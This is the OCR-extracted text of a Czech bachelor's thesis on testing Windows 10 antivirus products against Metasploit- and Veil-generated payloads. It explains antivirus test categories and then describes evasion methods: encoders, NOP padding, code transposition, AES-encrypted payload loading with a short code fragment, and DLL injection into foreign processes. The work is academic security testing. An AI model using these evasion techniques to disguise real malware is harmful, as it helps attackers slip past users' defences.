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Anotace

Vv

Bezpecnost osobnich dat se stava ¢im dal tim vysSsi prioritou uzivateld.
Mnoho pravidel bezpecnosti téchto dat se tyka vyuzivani antivirové ochrany i na
osobnich pocitacich. Praktickou casti této prace je otestovani penetracnich
frameworkli Metasploit a Veil, které jsou vyuzivané pro simulaci atokii na cilové
pocitace, s vyuZitim bézné dostupnych antivirovych resent.

Teoreticka ¢ast prace se zabyva testovanim antivirovych ochran, zplsobij,
kterych vyuZivaji penetracni testefi k proniknuti do cilového systému, popisu
technik antivirovych programt pro odhalovani téchto aktivit a vysvétluje
problematiku penetracnich testd. Jejim cilem je popsat, vCetné ukazek, jakym
zplisobem jsou vytvarené spustitelné soubory, které provadéji uzivatelem
nechténou aktivitu, a jakych vyuzivaji technik pro skryti se pred antivirovymi
programy.

Cilem prace je otestovat obrannou schopnost plné aktualizovaného
operac¢niho systému Windows 10 se zakladnim nastavenim a s rozSifenim o
antivirova teSeni tretich stran. Na zakladé tohoto testu vypracovat zavér, ktery
shrnuje tspésnost penetracnich frameworkl Metasploit a Veil a tedy jejich redalnou

vyuzitelnost v penetracnich testech.



Annotation

Antivirus testing using Kali and Veil and Metasploit

frameworks

Security of personal data is becoming increasingly important for users.
Basic security policies concern the use of anti-virus protection on personal
computers as well. The practical part of this work is testing penetrating
frameworks Metasploit and Veil, which are used to simulate cyber-attacks, using
commonly available antivirus solutions.

In the theoretical part are described antivirus protection techniques and
methods used by penetrating testers to bypass these solutions. The goal of this
part is to describe and show in examples, how executable files, which are used by
penetration testers to avoid antivirus detection are created.

The main goal is to test defensive ability of fully updated Windows 10
operating system with default settings and with an installed third-party antivirus
solution. Based on the results of this test the conclusion, which summarizes the

success of antivirus solutions, is created.
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1 Uvod

Pocet kybernetickych utokd v domacich a podnikovych sitich roste. Dle
serveru soca.cz vlonském roce Ccelilo témér 40% pocitaci v podnikové sfére
kybernetickému utoku z internetu (SOCA, 2017d).

Nékteré Ceské firmy vyvijeji snahu zvySovat svou interni bezpecnost pomoci
vnitfnich Skoleni zaméstnancii, nasazovani novych technologii, popf. navazuji
spolupraci s bezpeCnostnimi agenturami, které se zabyvaji zabezpelenim
podnikovych infrastruktur.

Najmuti bezpecnostni agentury se mnohdy jevi jako priliS nakladné.
Spolecnosti za zvySovanim nakladi spojenych se zabezpeCenim, proti stile se
rozristajicim kybernetickym hrozbam, nevidi navratovou hodnotu a snaZzi se Setfit.
Setfivé chovani zpomaluje proces zvy$ovani zabezpeceni firmy, které miize vést az
k zastarani bezpecnostnich politik (SOCA, 2017c).

Spolecnosti, které se aktivné nezajimaji o kybernetickou bezpecnost, mohou
zvolit cestu dodrzovani predpist, které maji zatridit minimalni ochranu firemnich dat.
Tento zplsob pristupu kaktualizacim je nebezpecny, jsou vynaloZeny pouze
prostiedky spojené s dodrZzenim piedpist. Na inovace a proaktivni ptistup k moznym
hrozbam pro konkrétni typ spole¢nosti se jiz finance nedostanou. DalSim nebezpecim
je rychlost vyvoje novych hrozeb, jejichZz poCet a komplexnost neustdle roste.
Predpisy na tyto zmény nereaguji s dostatecnou flexibilitou. Dle prazkumu Kaspersky
Lab a B2B International, neni 63% organizaci presvédCeno o tom, Ze pouhé
dodrzovani predpisi je pro bezpecnost spolecnosti dostatecné (SOCA, 2017b). Na
zakladé tohoto prazkumu prijde firma vlivem jednoho kybernetického utoku
prameérné o 926 000 dolart. Z tohoto diivodu se dostava zpét otazka bezpecnostnich
agentur, které maji zajistit zabezpeceni firemnich dat a komunikaci po siti.

Spole¢nost Eset vydala prehled nejcastéjsich hrozeb v Ceské Republice. Dle

analyzy Check Pointu pochazi nejvice hrozeb z USA a Némecka.



Top 10 hrozeb v Ceské republice za bi‘ezen 2017 dle Esetu (SOCA, 2017a):

JS/Danger.ScriptAttachment (25,90 %)
JS/TrojanDownloader.Nemucod (8,84 %)
Java/GRat (5,48 %)

Win32/Adware.ELEX (4,60 %)
JS/Chromex.Submeliux (2,39 %)
Win32/Deceptor.AdvancedSystemCare (1,72 %)
Java/Adwind (1,59 %)
Win32/Packed.VMProtect.ABO (1,57 %)
Win32/0Obfuscated.NIT (1,53 %)

10. Win32/Packed.VMProtect.AAA (1,43 %)

N L R I

Dle priizkumu (Hacktrophy, 2017) ma 44% ceskych a slovenskych spole¢nosti
zkuSenost s kybernetickym dtokem. V srpnu 2017 se stal obéti kybernetického utoku
internetovy obchod Mall.cz (DSL, 2017), kdy se povedlo uto¢nikiim ziskat databazi
hesel a emailt uzivatell, tj. cca 750 000 uzivatelskych uctd. Internetovy obchod
resetoval tato hesla a upozornil své uZivatele na tento utok. BohuZel zbéZného
chovani uZivatele je patrné, Ze pouZziva stejné, ¢i podobné heslo na vice internetovych
sluzbach. Takovy uzivatel by si toto heslo mél zménit u vSech pristupd, kde ho
pouziva, nicméné k tomu u velkého procenta uzivatelii nikdy nedojde. Za posledni rok
byly zjistény Gtoky cilené na klienty CSOB, Ceské posty i Ceské spofitelny, do médif se
dostal i utok na ¢eské ministerstvo zahranici.

Dobrym zpiisobem, jak miZe spolecnost rychle hledat a opravovat bezpecnosti
chyby je zavedeni Bug bounty programu. Programu, kde spolecnost plati za vyhledani
chyb ve svém systému a je ji umoznéno na né reagovat mnohem drive. Jedna se Casto
o méné financné narocné fesend.

Zdaleka nejvétsi hrozbou pro firemni sektor se jevi lidsky faktor. Zkoumanim
vlivu ¢lovéka na bezpecCnost spoleCnosti se zabyva socialni inZenyrstvi. Tato véda
zkouma pusobeni lidskych subjektli na systém, snazi se hledat a analyzovat vzorce

lidského chovani vzhledem k systému.



Na zakladé této védy dochdazi k nejkritictéjSim dtokiim na data spolecnosti.
Sebelepsi kybernetické zabezpeceni nedokadZe odolat tutoku osoby se vSemi
potiebnymi pristupovymi udaji a povérenimi.

Za nejefektivnéjsi pristup ke zjiStovani hrozeb jsou povaZovany penetracni
testy, které tyto skryté hrozby pomahaji odhalit. Cilem téchto testi je problém
identifikovat a zhodnotit jeho vaznost. Vyhodnoceni testu se provadi z pohledu
utocnika, nejvyssi hodnoceni tedy dostavaji ty typy hrozeb, které maji nejvétsi Sanci
na uspéch pri napadeni vybrané obéti.

Pro penetracni testy existuji softwarové frameworky, mnoho z nich zapada do
komplexnich firemnich Feseni spolecnosti, poskytujicich kybernetické bezpecnostni
sluzby. Z dostupného software pro penetracni testy jsou zdarma dostupné
frameworky Metasploit nebo w3af.

BezpecCnostni agentury si casto vyvijeji vlastni software pro hledani
bezpecnostnich dér. Na druhou stranu firmy samy mohou vyuzit software, ktery je
zdarma a z Casti si tak uSetrit naklady spojené s najmutim bezpecnosti agentury. Ve
svété bezpecnosti také plati, Ze kazda bezpecnostni hrozba by se méla provérit i
nékolikrat, pak miize byt pouziti vlastniho feseni dobrym dopliikem pro jizZ nasazené
bezpecnostni sluzby. Firma sama by se méla aktivné angaZovat ve zvySovani
bezpecnosti.

Kromé financi miize napadena spolecnost prijit o mnohem vice, jedna se o
zhorsenti jeji davéryhodnosti. Od roku 2018 ma vejit v platnost nova vyhlaska, tykajici
se vSech clenskych zemi EU, podle které je napadena spoletnost povinna pfi
jakémkoliv budoucim, probihajicim, nebo jiZ probéhlém kybernetickém utoku podat
hlaSeni na prisluSném organu statni spravy. Pri zjiSténi pochybeni na strané

spolecnosti, je moZné ji udélit pokutu az ve vysi 20 mil. EU, nebo 4% z ro¢niho obratu.



2 Cil prace

Ucelem prace je vyuzit frameworky Metasploit a Veil pro otestovani chovani
operacniho systému Windows 10, jeho standardni antivirové ochrany a poté jeho
otestovani s antivirovymi programy tfetich stran napt. Avast Free Antivirus, Eset
Nod32 a Kaspersky Antivirus.

Na =zakladé téchto testli vypracovat zavér, Kktery shrnuje uspésnost
penetracnich framework Veil a Metasploit dle aktualnich dat.

Pro Ucely testu je zpracovan program, jehoZ cilem je ovladnuti pocitace s pravy
aktualné prihlaseného uzivatele. Tento program po ziskani kontroly nad pocitacem
zatne komunikovat se vzdalenym hostem, kterym je moZné v redlném case zadavat
piikazy napft. ke kopirovani souborti na disk vzdaleného hosta, snimani stisku tlacitek
klavesnice bez zpozorovani uZivatelem, v tu chvili pocita¢ pouZzivajicim.

Tento program je zpracovan v nékolika variantach pro pokus o jeho skryti

pred antivirovym softwarem.



3 Teoreticka vychodiska

3.1 Testovani antivirového softwaru

Antivirovy software, dale jako AV, stejné jako kaZdé jiné programy prochazi
vyvojem a nikdy nebude bez chyb. Také nikdy nedokdze zachytit veskeré
bezpecnostni hrozby a dtoky, specidlné ma potiZe s témi, které jsou navrzené piimo
proti nému, tedy i samotna antivirova ochrana se mize stat terCem dtoku. Z tohoto
diivodu je nutné i tento software adné testovat.

Testovanim AV softwaru se zabyva mnoho bezpecnostnich firem, jednou z nich
je av-comparatives.org, ktera své vysledky testovani verejné publikuje, vytvari i

komparativni srovnani a grafy. Z tohoto zdroje je i nasledujici Obrazek 1 - Real World

Protection Test , ktery zobrazuje vysledek false-positives testu na nékolika

1

antivirovych programech.

Real-World Protection Test — July to November 2017

S9ALIISO4 as|eq

Obrazek 1 - Real World Protection Test (av-comparatives.org, 2017)



Vtomto testu byly AV programy testovany na 389 hrozeb na plné
aktualizovaném opera¢nim systému Windows 10 v¢. plné aktualizovaného sw. tiretich
stran. Vybrané hrozby byly vybrany na zakladé jejich Cetnosti pouZiti volné na
internetu.

Dle priizkumu serveru av-comaparatives.org AV software instalovany na
pocitacich nikdy neselhal u 56 % respondenti, dalSich 29,5 % bylo za posledniho pil
roku i pres AV program tuspésné napadeno.

Dals$imi vefejnymi a divéryhodnymi laboratoremi zabyvajicimi se testovanim

AV softwaru jsou napfr-:

e AV-Test

e Virus Bulletin

e ICSA Labs

e West Coast Labs

Casto ma vétSina vyvojar AV reSeni vlastni laboratore, jako je napriklad

Kaspersky Lab.

3.1.1 Komparativni testovani

Z testovani se stala komplexni védni disciplina, ktera v poslednich letech
ziskava na dilezitosti. Dala za vznik nékolika druhtim testi AV programi, které

vyhodnocuji:

e Ochranu (Protection)
e Vycisténi hrozeb (Repair)
e PouZitelnost (Usability)

e Vykon (Performance)

Kazda z téchto kategorii vyuziva rtizné druhy testt, které jsou zaméieny vzdy
jen na jednu Cinnost napft. hledani nebezpecnych soubort, odstraiiovani malware,
nebo false-positive test.

Komparativni testovani je zaméreno na porovnani vice antivirovych programi

vzhledem k jednomu, ¢i vice testlim. Casto je vytvoireno schéma zachycujici droven
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testovaného softwaru napti¢ vSemi testy, diky kterému je mozZné najit nejlepsi
antivirovy software v ramci vSech test(, jako to zobrazuje Obrazek 2 - komparativni

test, nejlepSi AV software je oznacen jako Top.

June 2017

Name Protection Performance Usability

-

Ahnlab AhnLab V3 Internet Security 9.0
I{avast Avast Free AntiVirus 17.4
#AVG AVG Internet Security 17.3 & 17.4
Avira Avira Antivirus Pro 15.0
e Bitdefender Internet Security 21.0
BullGuardme  BullGuard Internet Security 17.1
COMODO  Comodo Internet Security Premium 10.0
ESET Internet Security 10.1
Fsecure®  F-Secure Safe 14
G G Data InternetSecurity 25.3
ICT &7 computing Total Security 15.1

KASPERJKYE  Kaspersky Lab Internet Security 17.0

UrcAfee McAfee Internet Security 19.0

cefecececfflHeecfe

B microsoft Microsoft Windows Defender Antivirus 4.11

Obrazek 2 - komparativni test (av-test.org, 2017)

3.1.2 Ochrana

Kategorie, ve které je testovano, jak kvalitné je AV software schopen ochranit
uzivatele pred pravé probihajicim pokusim o utok, je vétSinou spojovana
s bezpenym prochazenim internetu. Tento test zahrnuje vytah zaktudlné
pouzivaného Skodlivého softwaru, webovych stranek nebo e-mailli, ze kterého je
vytvorena testovaci databaze, na kterou jsou antivirové programy testovany.

Alternativni zplsob tohoto testu je zaméreny pouze na hrozby, které se
objevily za poslednich nékolik tydni, vétSinou za posledni ¢tyti tydny. Skenuje pouze
statické soubory, a pouze na vyzadani skenu uZivatelem. Pfedmétem testu tedy neni
ochrana vredlném case. Nejdiive je proveden uZivatelem vyzadany sken pocitace.
Pokud neni Skodlivy program odhalen, je iniciovdna akce s vybranym souborem a
nasledné se zaznamenava kazda reakce AV software. Pri spusténi Skodlivého
programu je také zaznamenano, jestli byl kompletné zablokovan, nebo stihl alespon

¢astecné napadnout svou obét’.



Zakladem obou téchto testli je ziskdni Skodlivého software, ktery neni
produkovan zadnym z vyrobcti AV softwaru, aby nedoslo k ovlivnéni vysledki testu.

Diky tomuto typu testu, a s pomoci historie predeslych, je mozZné zjistit, ktery
testovany AV software je dostatecné pruzny, aby reagoval na nové hrozby.

Uskalim téchto testli je, Ze na jeden test jedné hrozby, je potfeba mit
pripravené vidy stejné testovaci prostredi s plnym pristupem kinternetu, je tedy
potieba zajistit, aby se AV software v priibéhu testu sdm neaktualizoval na jinou

verzi, neZ ma v ostatnich pripadech.

3.1.3 Cisténi hrozeb

Tento typ testu je jeden z nejsloZitéjSich a casto v mnoha srovnanich neni
proveden napft. av-test.org tento test zruSil a nahradil ho vysledkem s uZivateli
vytvofenou zpétnou vazbou.

Test je provadén na dobie zndmé hrozbé, ktera jiz prosla celkovou analyzou.
AV software je nainstalovan, aktualizovan a docasné deaktivovan. Poté je spustén
Skodlivy program, ktery infikuje cely systém. Nasledné je spustén program pro
analyzu operac¢niho systému (av-test.org pouziva vlastni feSeni jménem Sunshine) a
je vytvorena zprava o vSech infikovanych souborech. Operac¢ni systém je restartovan,
AV software je zaktivovan a manualné spustén sken celého pocitace. AV softwaru
jsou povoleny vSechny akce, o které si pozadal. Poté je opét spuStén analyzalni
program, ktery vytvoii zpravu o aktualnim stavu systému v¢. pozistalych prazdnych
slozek a zmén vregistrech. Vysledkem testu je porovnani zprav analyzacniho
software.

Pouzitelnost AV softwaru lze mérit objektivné jen velmi tézko. Existuji dvé

metodiky pro otestovani a zjiSténi pouzitelnosti.

1) Jak ovliviiuje AV program vykon zarizeni - Performance test.
2) Jak casto chybné oznali program za Skodlivy a vyrusi uzivatele - false-

positives test.

3.1.4 Vykon

AV software pro svou cCinnost vredlném case potiebuje oskenovat vétSinu

soubord, které uzivatel otevira, vSechny, které stahuje z internetu, prozkoumava



obsah webovych stranek i kontroluje aktivitu pri instalaci novych aplikaci. VSechny
tyto ¢innosti zabiraji ¢as a zdroje pocitace.

Béhem hledani potencionalni hrozby jsou vSechny akce AV softwaru
priorizovany na ukor ostatnich uZivatelskych operaci. To ¢asto vede k prodlevam, kdy
je uzivatel nucen ¢ekat, aZ bude moci opét pokracovat v ¢innosti.

Tento test méri, jak dlouho trva akce uzivatele bez AV reSeni a kolik Casu
zabere sjeho pouzitim. Kazda tato akce je provadéna nékolikrat a vysledky jsou
zpriimérovany. Ucelem testu je zjistit, jak moc je operacni systém zpomalovan vlivem

¢innosti AV software.

3.1.5 False-positives test

Clovék, ani programy, které tvoii, nejsou bez chyby, a nékdy se miize stat, Ze
AV software upozorni na hrozbu a zablokuje ¢asti programu, soubor, ¢i webovou
stranku, které nijak neohrozuji uzivatele.

Dtivodl k tomuto chovani je mnoho. Analytik Spatné vyhodnoti ¢ast kédu jako
Skodlivy, knihovna, kterou vyuzivd mnoho nezavadnych projektl je pouZzita i pii
tvorbé Skodlivého programu a tim je oznacena za hrozbu, nebo samoucici se
algoritmy, které hledaji nové hrozby, udélaji chybu.

Vysledkem tohoto chovani je vlepSim pripadé pouze upozornéni uZzivatele,
kdy je nabidnuta mozZnost dalSiho postupu. Nékteré AV programy, nejdiive provedou
obrannou akci a aZ poté o tom informuji uzivatele napft. Avast Free antivirus nejdrive
umisti hrozbu, ktera se naléza na lokdlnim disku, do ,truhly” a aZ poté o tom poda
zpravu uZzivateli. Kaspersky Internet Security informace o této hrozbé poSle na
vzdaleny server k analyze a aZ pfi potvrzeni nalezeni hrozby zahaji obranou akci a da
védét uzivateli.

False-positives test se zabyva testovanim nezavadnych programd, soubort a
webovych stranek, kde zaznamenava kazdé vyruSeni uzivatele. Pfi komplexnéjSim

provedeni tohoto testu se zaznamenavaji i obranné akce antiviru.



3.2 Skryvani hrozeb pred AV programy

Samotna tvorba programi s nebezpe¢nym chovanim je jiZ antivirim znama, a
tak pro Uspésné provedeni utoku, je nutné tento ,Skodlivy“ program pred antivirem
schovat.

VétSina AV softwaru pouZiva testy, kdy vybrany program, nebo jeho ¢ast,
porovna se svou databazi Skodlivého softwaru a na zakladé této analyzy provede
dalsi kroky. Zptsobt, jak uniknout detekci je mnoho, naptiklad lze pozménit
signaturu programu, aby neodpovidal té v databazi, je mozné program zaSifrovat, kdy
trva jeho desifrace prilis dlouhou dobu a antivirus sviij test jednoduse vzda, nebo

pridruzit Skodlivy kéd k jiz provérenému bezpecnému programu, ¢i knihovné.

3.2.1 Encoding

Kédovani - encoding je proces zmény informaci do formatu, se kterym bude
umét pracovat cilové prostiedi. Program, ktery zajiStuje transformaci, se nazyva
encoder, kromé samotné zmény kdédu zajiStuje i spravnost provedeni a funkcnost
v cilovém prostiedi.

Metasploit framework generuje payload ve formatu Assembly, ktery sam o
sob& neni spustitelny. Cast zdrojového kédu, ktery navazuje TCP spojeni je
k nahlédnuti v ptiloze 9.1 ASM generatator - Reverse TCP connect.

Po dosazeni hodnot, jako je IP adresa a PORT serveru, ke kterému se skript ma
pripojit je vygenerovan kod, ktery je k nalezeni v priloze 9.2 ASM generated - Reverse
TCP connect - Assembly generated source code. Za povSimnuti stoji radky 38-42, kde
se nastavuje I[P adresa a PORT, na ktery se ma klient pripojit. Na radcich 44-49 se kéd
pokousi o spojeni. Tento kod je poté zkompilovan pomoci Metasm kompilatoru pro
cilovou platformu a architekturu procesoru a pak je spustitelny. Kod, ktery generuje
kompletni Assembly zdroj pro reverse TCP payload je k nahlédnuti v ptiloze 9.3
Reverse TCP - generate and compile payload.

DalS$im krokem je k6dovani zkompilovaného kédu. Z vySe zminénych priloh je
zfejmé, Ze struktura kddu pro navazani TCP pripojeni ke vzdalené IP adrese je vzdy
stejna, liSi se pouze konkrétni [P adresa a PORT serveru, zkompilovany kod dle
platformy a architektury procesoru. Signatura vysledného programu bude vzdy

stejnd, tu si pak miiZe AV software ulozit, nebo pomoci ucicich se algoritmi vytvori
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jeji vzor, ktery miZe pozdéji pouZit pro identifikaci podobnych programi (pattern-
matching).

Encoder ve své podstaté dokaZe zménit signaturu, pridat No operation (dale
jako Nop) instrukce a vyhnout se nepovolenym znaktim. Programy, které spoustéji
shellcode vétSinou pracuji s timto kddem jako se stringem, je tedy nutné vyhnout se
znaklim pro ukonceni textového tetézce a null bytes. Nasledujici Tabulka 1 - Bad
characters pro ilustraci zobrazuje, které hodnoty by se v shellcode nemély objevit,
mohly by prerusSit zpracovani kédu prikazovou radkou.

Tabulka 1 - Bad characters

Instrukce Vyznam
\x00 Null
\0A Novy radek
\OD \r \n
\xff Konec retézce

Reverse TCP payload vygenerovany pomoci Metasploitpti zakladnim
nastaveni je v priloze 9.4 Encoded Reverse TCP Payload - default encoder. Shellcode
je vygenerovany pomoci zadkladnich nastaveni Metasploit. Jsou zde vyznaceny Spatné
charaktery, kterym by se mél encoder vyhnout. Ale ani pouZiti encoder nezarucuje, Ze
tyto znaky ve vysledném kodu neobjevi, to je vidét v priloze 9.5 Encoded Reverse TCP
Payload - bloxor encoder + 13 Nops, kde byl pouZit bloxor encoder. Do konfigurace je
pridano vygenerovani 13Nop. Nop instrukce jsou zvyraznény. Dlvodem vyskytu
nepovolenych instrukci je uZivatelem nedostatetna konfigurace encoderu, pro
zaruceni vysledku je vyZadovano presné nastaveni.

Nop instrukce jsou pridany kvili jednomu ze zplsobi identifikovani
Skodlivého kodu antivirem, ktery spusti aplikaci v sandbox (uméle vytvorené
prostiedi) a monitoruje, co déla. V zajmu antivirovych programi je, aby uzivatel
necekal a zaroven mu bylo poskytnuto nejvyssi mozné zabezpeceni. V tomto pripadé
je nutné dostdhnout kompromisu a proto tento test nemuze trvat prilis dlouhou dobu.
Z pohledu tvirce Skodlivych programi je nejvyhodnéjsi pro zvladnuti tohoto testu
prokladat svij skript nops, kdy jeho program nedéla nic, nebo pouZit sofistikované;jsi

reSeni napr. encoder metamorfického typu. Autorovi prace se pravé tento test
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povedlo obejit v praktické casti kapitola 4.2.5 Priichod kratkodobym testem AVG a
Avast.
Zménou signatury programu se zabyva mnoho encoderd, které jsou dostupné

ve frameworku Metasploit. Ty, které méni signaturu, se déli na dvé skupiny:

1) Polymorfické
2) Metamorfické

Polymorfické zakoduji kod a poté ho za béhu rozkoduji a po pouZiti ho opét
zakoduji. Pro béh kodu je nutné spolecné snim distribuovat i encoder/decoder.
S kazdym spusSténim kdédu je po zakddovani jiny neZ pred spusSténim, méni tedy
neustale sviij zapis.

Metamorfické encodery méni kéd tak, aby délal to samé, ale vypadal jinak.
Méni poradi volani metod, nahrazuji instrukce pomoci jinych, které délaji ve vysledku
to samé, Ci pridavaji zavadeéjici kdd, ktery mate detektory. Tento kdd je vytvoren pfi
generovani payload, poté se neméni.

Z pohledu detekovani skodlivého software je zde nékolik problémt, kvili
kterym neni encoding nejlepSim zptisobem, jak se vyhnout detekci.

U polymorfickych encodert staci detekovat encoder, ktery se neméni na rozdil
od kodu (proto pii zabezpecovani vlastnich spustitelnych souborti neni vhodné
vyuzivat encodery, které jsou spojeny s penetra¢nim testovanim).

Metamorfické encodery jsou ve své podstaté kdd, ktery vypada jinak, ale stale
vykonava tu samou ¢innost. Detektory umi vyhledavat klicové instrukce potiebné pro
splnéni funk¢nosti napft. vytvoreni TCP spojeni a spusténi stahnutého souboru.

V obou pripadech je shellcode v hiife ¢itelné podobé ulozen v souboru a ten je
uloZen na pevném disku pocitace, kde k nému maji antivirové programy plny pristup.

Charakteristika encoderii bloxor a shikata_ga_nai je zndzornéna v Tabulce 2 -

Encoder characteristic.

Tabulka 2 - Encoder characteristic

Encoder Rank Typ Reference
Shikata_ga_nai Excelent Polymorficky (vulners.com, 2017b)
Bloxor Manual Metamorficky (vulners.com, 2017a)
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Reverse TCP payload s pouZzitim bloxor je v priloze 9.5 Encoded Reverse TCP
Payload - bloxor encoder + 13 Nops a pomoci shikata_ga_nai v prilohach 9.6 a 9.7
Encoded Reverse TCP Payload - shikata_ga_nai encoder 2 a 1. Shikata_ga_nai encoder
ma v tabulce hodnoceni Excelent, diky technice, kterou pouZiva, ale od doby, kdy byl

jeho zdrojovy kod uvolnén verejné, se ho naucily AV programy detekovat.

3.2.2 Transpozice kédu

Kédovani s ucelem skryti kddu pred AV programem je zaloZeno na principu
transpozice instrukci. Nasledujici text je zaloZen prevazné na studii, ktera se zabyvala
technologii ke skryvani charaktert pomoci transpozice (Tian, Zhang and Ma, 2011).
Vtéto studii je pritomno vice nez 30 trojskych koni, které jsou pro antivirové
programy znadmé a pomoci transpozice jsou pozménény. Vysledkem tohoto vyzkumu
je nedetekovani 82 % pozménénych programl a 90 % shoda ptivodniho a nového
souboru.

Postup zmény spustitelného souboru je zndzornén na Obrazku 3 - Code

transposition zpracovano dle (Tian, Zhang and Ma, 2011).

- Nalezeni vstupniho bodu Analjza PE
- Nalezeni nebo pridani nové sekce souboru

Soubor zdrojove

v aplikace

Macteni obsahu
souboru

v

- Whledani charakteristickych casti . Vysledkem je program se stejnou funkénosti,
S Analyza programu - = oo -

programu ale jinym zapisem
—b Transpozice kOdu " Opri:\:jiar::ech —»

Obrazek 3 - Code transposition zpracovano dle (Tian, Zhang and Ma, 2011)

Assemble

Samotny proces se sklada z nékolika ¢asti:

1) Vyhledani ¢asti kodu, které jsou pro néj charakteristické a je potieba je zménit

pro zmateni skeneru
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a. zde je nutna znalost vzoru, podle kterého je program rozpoznan jako
Skodlivy
2) Disassemble kddu pro vyhledani vSech instrukci
a. vyhledani typl operandli v kazdé instrukci a vytvoreni Assembly kddu
3) Vytvoreni knihovny kodd, které jsou stejné a je mozné je transponovat
a. obsahuje samotné instrukce, jejich pocet apod.
b. pri vice moZnostech transpozice je moZné randomizovat jejich vybér
4) Realizace transpozice a opraveni instruk¢nich adres a informacnich struktur
a. vytvoreni hashovaci tabulky kodu pred transpozici, ktera uchovava
informace o adresach instrukci. Je vyuzita pro opraveni adres po
transpozici.
b. dilezité je opravit adresy vSech zménénych instrukci po transpozici,
aby byl zménény kéd kompatibilni se zbytkem programu
5) Assemble
a. Zassembly kédu vytvorit instrukce, které jsou proveditelné
procesorem

b. Vytvoreni spustitelného souboru, ktery je vysledkem transpozice

Vysledkem je program, ktery se chova stejné, ale pro antivirovy program
vypada jinak.

Transpozice koédu je nahrazeni jeho segmentti, nebo instrukci jinymi, které
zajistuji stejnou funkcnost. Tato operace mize do kddu pridavat nové instrukce, které
slouzi ke zmateni skeneru. Ty zamezuji pfimé navaznosti instrukci, které mohou byt,
kdyZ jsou pohromadé, oznaceny jako Skodlivé. V kazdé fazi transpozice je nutné
porovnat vSechny instrukce s ptivodni hashovaci tabulkou, aby nedoslo k chybam.

Samotna transpozice se sklada z nékolika typi:

- NOP transpozice
o Vlozeni zavadéjiciho kodu
o napr. NOP, PUSH EAX, POP EAX, MOV EAX, EAX
- Transpozice na zakladé nahrazovani kodu
o Nahrazeni skupiny instrukci jinymi, které zajiStuji stejnou funkcnost

o Napf. PUSH EAX, POP EBX -> MOV EBX, EAX
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- Transpozice na zakladé zamény
o Zaména poradi kédu, kde neni diileZité poradi bloki instrukci
- Transpozice na zakladé skokt
o VloZeni nepodminénych nebo vzdy splnénych podminek pro docileni
skoki do jinych instrukénich blokd, takZe program miize ménit poradi

vykonavanych instrukci

Samotné kodovani pomoci automatizovanych freSeni je pro antivirové
programy jiz znamé a dobie detekovatelné. Na druhou stranu tento zptlisob ukryti
Skodlivého kédu ma smysl a mlze byt velmi uspésny, pokud je proces transpozice
manualné ovladan, kdy pak neodpovida strukturam, které vytvaii automatizované

algoritmy.

3.2.3 Encrypting

Tato metoda vznikla jako vedlejsi efekt komprese virového programu, kdy
bylo zamysleno zmenSit obsah Skodlivého software pro jeho snadnéjsi prenos. Prvni
AV programy, které porovnavaly potenciondlni hrozby se svou databazi, dostaly
pozménény kéd a nebyly schopny odhalit, Ze se jedna o stejny kdd, jako byl ten
ptivodni bez pouziti komprese. Tato metoda skryvani byla velmi rychle odhalena, ale
to jiz byl celkovy princip zmény signatury programu znamy.

Vznikly tedy techniky, které méni zdrojovy koéd tak, aby stale vykonaval svou
funkci, ale nebyl shodny stim, ktery obsahuji virové databaze. Jednim z téchto
zplsobi je napriklad zasifrovani kddu pomoci AES 128 Sifry s ndhodnym Klicem,
ktery je obtizné k prolomitelny a AV programiim trvd mnohem déle, nez zjisti, zda se
jedna o hrozbu. Hors$i AV programy, z divodu sniZeni dopadl svych aktivit na
operacni systém, po delSim case deSifrovani zastavi a nechaji program provést svou
¢innost.

Na Obrazku 4 - AES Sifrovani je ukazka casti programu, ktera na zakladé klice
deSifruje textovy retézec. Tento kod je sam o sobé neSkodny, ale deSifrovany textovy
retézec obsahuje instrukce payload viru, ktery je po deSifrovani nahran do paméti
pocitace, odkud je spuStén. Za povSimnuti stoji, Ze i jména proménnych jsou

pozménéna.
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DvvvzVHpOWVWY = AES.new('BSt3v1ZD#&! (38uREnX22R]ahzzXpcm&', AES.MODE CBC, 'HsTLRkCOVCcDgDce')
FAUmuz = base64.b64decode('/WQmDONiCmNtcNaKOvEWUOIOWhy. .. ")

Obrazek 4 - AES Sifrovani

3.2.4 Inject do paméti ciziho procesu

Dobrym zpiisobem, jak skryt aktivity podezielého kodu je vyuzit otestovanych
a antiviry schvalenych aplikaci. Tyto aplikace kromé poskytnuti docasného uschovani
Skodlivého k6du mohou poslouzit také svymi opravnénimi a tim umozni napachani
mnohem vétsich Skod.

Jeden ze zptlisobt, jak vlozit svou knihovnu(.dll) do paméti ciziho procesu
vyuziva opravnéni SeDebugPrivilege aktudlné prihlaSeného uzivatele v systému
Windows. Toto privilegium umoziuje z diivodi debuggingu aplikaci pripojit do
vybraného procesu knihovnu, s jejimz vyuZitim jsou vSechny prostredky
procesu pristupné této knihovné. Tento postup lze vyuZit pro vloZeni jakékoliv
knihovny, napriklad té, ktera obsahuje Skodlivy kod.

Existuji dva postupy, jak vlozit vybranou knihovnu do vybraného procesu.

Prvni zplsob je ulozit knihovnu na lokdlni ulozisté, alokovat pamét ve
vybraném procesu pro uschovani cesty vedouci ke knihovné a poté zvoleni funkce
LoadLibraryA() (standardni Win32API funkce), ktera vruntime danou knihovnu
nacte. Nevyhodou a diivodem, pro¢ tento postup neni vhodny je uloZeni souboru se
Skodlivym kédem na mistni tlozisté, kde ho mohou antivirové programy odhalit.

Druhym zpisobem je ve vybraném procesu alokovat dostatek paméti pro
nahrani celé knihovny do pamétového prostoru. Poté je nutné nalézt entry point
knihovny, aby mohla byt spusténa. Problémem je ochrana systému proti Skodlivému
kodu - Adress Space Layout Randomization. Tato technika umistovala informace od
nahodného mista v paméti a ztizila hledani entry pointu knihovny. Kratce po zavedeni
této ochrany proti Skodlivému kédu zareagoval Stephen Fewer, ktery priSel se
zplsobem, jak tuto ochranu obejit a nazval ji ReflectiveDLLInjection (Fewer, no date).
S pomoci této metody je mozné vlozit vybranou knihovnu do paméti vybraného

procesu a spustit ji i pres ASLR ochranu.
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Utoenik Obét’

Proces A

Pripojeni k procesu

Alokace paméti

Srovnani velikosti cest ke knihovné
a celé knihovny v paméti procesu

Zapis do paméti

Spusténi kodu

YV V V V

Obrazek 5 - DIl Inject

Postup pro vloZeni knihovny do cilového procesu s pouZitim VirtualAlloc
metody je zobrazen na Obrazku 5 - DIl Inject. Ve zjednodusSené podobé je zde
znazornén i rozdil ve velikosti naalokované paméti potiebné pro cestu ke knihovné a

nahrani celé knihovny. Jednotlivé kroky postupu volaji nativni Win32 funkce:

Pripojeni k procesu

o OpenProcess()
e Alokace paméti
o VirtualAllocEx()
e Zapis do paméti
o WriteProcessMemory()
e Spusténi kodu
o CreateRemoteThread()
